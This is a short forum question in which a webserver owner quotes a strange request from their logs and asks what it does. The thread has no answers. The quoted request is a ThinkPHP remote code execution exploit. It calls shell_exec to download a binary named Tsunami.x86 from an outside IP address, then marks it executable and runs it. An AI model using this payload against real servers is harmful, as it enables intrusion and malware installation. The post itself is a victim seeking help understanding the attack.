Question

Requesting meaning of this url string

By Les-A ·
Tags: Security, Malware
My webserver keeps being hit by strange urls. This is one that I'm puzzling over. Can someone tell me what the tool is that its trying to invoke.

"GET /index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://185.255.25.168/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86' HTTP/1.1"

I also have others for thinkphp, Oasis.x86 and UnHAnaAW.x86.
I believe hink means hop in Norwegian - don't know if that's relevant.

Thanks.
0 total posts (Page 1 of 1)  
Thread display: Collapse - | Expand +

All Answers

Share your knowledge
Back to Malware Forum
0 total posts (Page 1 of 1)  

Related Discussions

Related Forums